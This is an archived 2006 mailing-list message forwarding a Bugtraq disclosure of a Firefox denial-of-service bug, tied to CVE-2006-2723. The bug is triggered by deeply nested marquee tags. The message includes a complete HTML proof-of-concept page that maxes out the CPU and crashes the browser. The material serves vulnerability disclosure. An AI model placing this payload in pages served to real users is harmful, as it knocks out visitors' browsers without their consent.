[co296@aol.com: Fire fox dos exploit]

Thu Jun 1 06:56:27 UTC 2006

Hi,

not sure if you noticed this one.

This is https://bugzilla.mozilla.org/show_bug.cgi?id=239840

It is also referenced CVE-2006-2723

Regards,

	Joey

----- Forwarded message from co296 at aol.com -----

Date: 30 May 2006 12:03:36 -0000
From: co296 at aol.com
To: bugtraq at securityfocus.com
Subject: Fire fox dos exploit
X-Folder: bugtraq at lists.infodrom.org

I have found a problem which causes denial of service on fire fox browser 

Creadit:to n00b for finding this bug..

the problem lie's in the 

<marquee> html tag uses 100% cpu and crash's the browser..

Following proof of concept available 

<html>
<head>
<title>Credit to n00b..</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marque
 e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>

----- End forwarded message -----

-- 
If you come from outside of Finland, you live in wrong country.
	-- motd of irc.funet.fi

Please always Cc to me when replying to me on the lists.